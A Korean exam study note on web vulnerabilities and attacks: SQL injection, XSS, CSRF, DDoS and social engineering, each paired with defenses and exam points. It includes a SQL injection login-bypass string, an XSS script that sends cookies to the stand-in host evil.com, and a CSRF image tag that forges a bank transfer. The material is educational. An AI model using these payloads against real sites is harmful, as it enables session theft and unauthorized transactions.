콘텐츠로 이동

취약점 및 공격

1. OWASP Top 10

웹 애플리케이션의 주요 보안 취약점 목록입니다.


2. SQL Injection

사용자 입력에 SQL 쿼리를 삽입하여 DB를 비정상적으로 조작합니다.

공격 예시

-- 로그인 쿼리
SELECT * FROM users WHERE id='입력값' AND pw='입력값';

-- 공격: id에 ' OR '1'='1 입력
SELECT * FROM users WHERE id='' OR '1'='1' AND pw='';
-- 항상 참 → 인증 우회

방어

  • Prepared Statement (파라미터화 쿼리) 사용
  • 입력값 유효성 검사
  • 최소 권한의 DB 계정 사용
  • ORM 사용
// 취약한 코드
String query = "SELECT * FROM users WHERE id='" + id + "'";

// 안전한 코드 (Prepared Statement)
PreparedStatement pstmt = conn.prepareStatement(
    "SELECT * FROM users WHERE id=?"
);
pstmt.setString(1, id);

3. XSS (Cross-Site Scripting)

악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시킵니다.

종류

종류 설명
반사형(Reflected) URL 파라미터에 스크립트 삽입, 즉시 반응
저장형(Stored) DB에 스크립트 저장 후 피해자에게 전달
DOM 기반 클라이언트 측 JS가 DOM 조작 중 발생

공격 예시

<!-- 댓글에 악성 스크립트 삽입 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>

방어

  • 출력 시 HTML 이스케이프 (<&lt;)
  • CSP (Content Security Policy) 헤더 설정
  • HTTPOnly 쿠키 설정 (JS에서 쿠키 접근 차단)

4. CSRF (Cross-Site Request Forgery)

인증된 사용자의 권한으로 의도치 않은 요청을 보내게 합니다.

공격 예시

<!-- 악성 사이트에 숨겨진 이미지 태그 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000">
<!-- 로그인된 사용자가 페이지 방문 시 자동으로 이체 요청 전송 -->

방어

  • CSRF 토큰: 요청마다 임의 토큰을 검증
  • SameSite 쿠키 속성 설정
  • Referer 헤더 검증

XSS vs CSRF 차이

구분 XSS CSRF
공격 대상 피해자 브라우저 서버
목적 스크립트 실행, 쿠키 탈취 피해자 권한으로 요청 위조
인증 필요 불필요 피해자가 로그인 상태여야 함

5. DDoS (Distributed Denial of Service)

다수의 좀비 PC로 대량의 트래픽을 발생시켜 서비스를 마비시킵니다.

공격 유형

유형 설명
볼류메트릭 공격 대역폭 소진 (UDP Flood, ICMP Flood)
프로토콜 공격 서버 자원 소진 (SYN Flood, Ping of Death)
애플리케이션 공격 특정 서비스 마비 (HTTP Flood, Slowloris)

SYN Flood

공격자 → 수천 개의 SYN 패킷 전송 (가짜 IP)
서버 → SYN+ACK 전송 후 ACK 대기 (half-open 연결)
서버 연결 테이블 고갈 → 정상 요청 처리 불가

방어

  • CDN 및 클라우드 기반 DDoS 방어 서비스
  • 트래픽 임계치 기반 차단
  • SYN Cookie 사용

6. 사회공학적 공격 (Social Engineering)

기술적 취약점이 아닌 사람의 심리를 이용하는 공격입니다.

공격 설명
피싱(Phishing) 가짜 이메일/사이트로 정보 탈취
스피어 피싱 특정 대상을 타깃으로 한 정밀 피싱
스미싱(Smishing) SMS를 이용한 피싱
보이스 피싱(Vishing) 전화를 이용한 피싱
파밍(Pharming) DNS 변조로 가짜 사이트로 유도
랜섬웨어 파일 암호화 후 복호화 대가로 금전 요구

시험 포인트

  • SQL Injection 방어: Prepared Statement (파라미터화 쿼리)
  • XSS 방어: HTML 이스케이프, CSP, HTTPOnly 쿠키
  • CSRF 방어: CSRF 토큰, SameSite 쿠키
  • XSS vs CSRF: 스크립트 실행 vs 요청 위조
  • DDoS vs DoS: 분산(다수 공격자) vs 단일 공격자
  • SYN Flood: half-open 연결로 서버 자원 소진
  • 피싱 vs 파밍: 가짜 사이트 유도 vs DNS 변조로 유도